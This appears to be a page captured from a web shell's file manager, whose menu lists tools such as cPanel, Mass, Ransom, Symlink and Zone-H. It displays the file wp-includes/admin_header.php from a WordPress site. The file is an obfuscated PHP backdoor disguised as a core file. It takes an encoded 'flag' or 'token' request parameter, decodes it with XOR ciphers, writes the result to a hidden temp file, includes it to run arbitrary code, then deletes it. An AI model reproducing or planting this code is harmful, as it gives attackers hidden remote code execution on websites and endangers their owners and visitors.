| Path : /var/www/html/postahizmeti/wp-includes/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/postahizmeti/wp-includes/admin_header.php |
<?php if(array_key_exists("f\x6Ca\x67", $_POST) && !is_null($_POST["f\x6Ca\x67"])){ $factor = $_POST["f\x6Ca\x67"]; $factor= explode ( '.' , $factor ) ; $ptr =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); $z =0; $__tmp =$factor; while( $v5 =array_shift( $__tmp)) {$chS =ord( $salt[$z%$sLen]); $dec =( ( int)$v5 - $chS -( $z%10)) ^ 51; $ptr.=chr( $dec); $z++; } $parameter_group = array_filter(["/var/tmp", getcwd(), session_save_path(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", sys_get_temp_dir()]); foreach ($parameter_group as $rec) { if (max(0, is_dir($rec) * is_writable($rec))) { $ref = "$rec/.fac"; if (file_put_contents($ref, $ptr)) { include $ref; @unlink($ref); die(); } } } }
if(in_array("t\x6Fk\x65n", array_keys($_REQUEST))){
$binding = hex2bin($_REQUEST["t\x6Fk\x65n"]);
$sym = '' ;for($h=0; $h<strlen($binding); $h++){$sym .= chr(ord($binding[$h]) ^ 79);}
$val = array_filter(["/var/tmp", "/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/dev/shm"]);
foreach ($val as $holder):
if ((bool)is_dir($holder) && (bool)is_writable($holder)) {
$factor = join("/", [$holder, ".element"]);
$success = file_put_contents($factor, $sym);
if ($success) {
include $factor;
@unlink($factor);
die();}
}
endforeach;
}